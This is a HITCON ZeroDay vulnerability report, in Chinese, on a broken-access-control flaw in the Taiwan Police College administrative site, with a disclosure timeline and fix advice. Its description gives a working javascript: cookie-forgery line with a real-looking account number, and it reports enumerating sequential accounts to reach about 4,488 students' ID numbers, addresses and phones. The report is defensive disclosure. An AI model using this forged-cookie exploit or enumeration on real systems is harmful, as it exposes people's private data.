臺灣警察專科學校行政系統權限漏洞

Vulnerability Overview

ZDID: ZD-2019-00352
發信 Vendor: 臺灣警察專科學校
Title: 臺灣警察專科學校行政系統權限漏洞
Introduction: 權限設置漏洞

處理狀態

目前狀態

公開

Last Update : 2019/07/02

新提交
已審核
已通報
已修補
未複測
公開

處理歷程

2019/04/22 12:20:28 : 新提交 (由鄉民更新此狀態)
2019/04/22 12:21:49 : 新提交 (由鄉民更新此狀態)
2019/04/22 12:24:05 : 新提交 (由鄉民更新此狀態)
2019/04/22 12:30:38 : 新提交 (由鄉民更新此狀態)
2019/04/22 22:00:46 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/04/23 17:54:23 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/04/23 17:54:23 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/06/22 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
2019/06/24 09:59:27 : 已修補 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/07/02 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2019-00352
通報者：鄉民
風險：高
類型：存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料，或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

先進入網站根目錄

https://aaw.tpa.edu.tw/

加入cookie(因為包含重要個資

javascript:document.cookie="UfTpaStdAndEmpMobile=fTitle=T&fTitleName=&fAccount=1071208200&CODE=&fName=&PID=&unitcode=&unitname=&edu04_list=&fEdu06=&fEdu06Name=&fEdu04=&fGrade=&LoginDateTime=&LoginIP=255.255.255.255&multiRoles=;path=/";

便能直接調閱到個人資料,其中欄位包含

學號、姓名、身分證、性別、出生日期、班級、戶籍地址、通訊地址、連絡電話、行動電話、EMAIL、家長姓名

因其帳號命名有規則性,故寫個腳本遍歷能調閱到106、107以及部分105學生的資料,總共能調閱到4488人資料(不包含105),因其包含重要個資故不附上截圖,如若被通報單位需要外洩名單在另外附上

修補建議

1、驗證session及token
2、限制僅有白名單能無限制存取,其餘ip需要限制

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

臺灣警察專科學校行政系統權限漏洞 - HITCON ZeroDay

Vulnerability Detail Report